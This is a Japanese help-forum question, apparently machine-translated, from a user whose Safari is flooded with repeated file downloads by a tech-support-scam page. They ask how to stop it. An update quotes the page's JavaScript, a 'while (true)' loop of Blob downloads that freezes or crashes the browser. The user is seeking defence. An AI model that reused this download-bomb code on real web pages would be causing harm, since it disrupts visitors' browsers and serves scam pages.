バックグラウンド
新しいスパムページが、多くの「問題のある」サイト(映画サイトなど)全体に表示されるようになりました。この新しいスパムページは、偽のスキャン、MacKeeper、「YOU HAVE A VIRUS」などのカテゴリに分類されます。
問題
この新しいページの問題は、ポップアップがあるだけでなく、ページが実際にランダムな2kb(ランダムなテキストを含むだけで害はない)ファイルのダウンロードを1msごとに繰り返し開始することです。ウィンドウを閉じる前にダウンロードフォルダがいっぱいになり、1000以上のファイルを削除したままになります。ページスパムが印刷ダイアログを表示する同様の問題とは異なり、対処する時間はほとんどありません。
失敗したトラブルシューティングの試み
ダウンロードフォルダをロックしてみました。ダウンロードからのダウンロードは阻止されましたが、ダウンロードは可能ですが、ダイアログボックス(画像を参照)が表示されます。通常、このダイアログボックスを閉じるだけで済みますが、約1ミリ秒ごとにダウンロードが試行されるため、閉じるたびに新しいダイアログが表示され、ウィンドウを閉じることができません。
Safariを強制終了して、ダウンロードを停止します(1kのダウンロード後)が、他のすべてのウィンドウが失われます
Safari設定で設定を「ダウンロードごとに要求する」に変更します。1k個の個別のダイアログボックスが開いていると、タブを閉じることさえできないため、機能しません。最終的にSafariがクラッシュします。
質問
Safariでスパムダウンロードを防ぐにはどうすればよいですか?
更新:
ダウンロードの原因となったコードを以下に示します(JavaScriptを無効にし、コードを手動で確認することで入手できます)。
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
注:カスタムページでJSを実行すると問題が発生しました。ダウンロードする代わりにフリーズしました。setInterval()
関数を呼び出す関数を使用してダウンロードをエミュレートすることができましたdownload
。
詳細:https : //blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/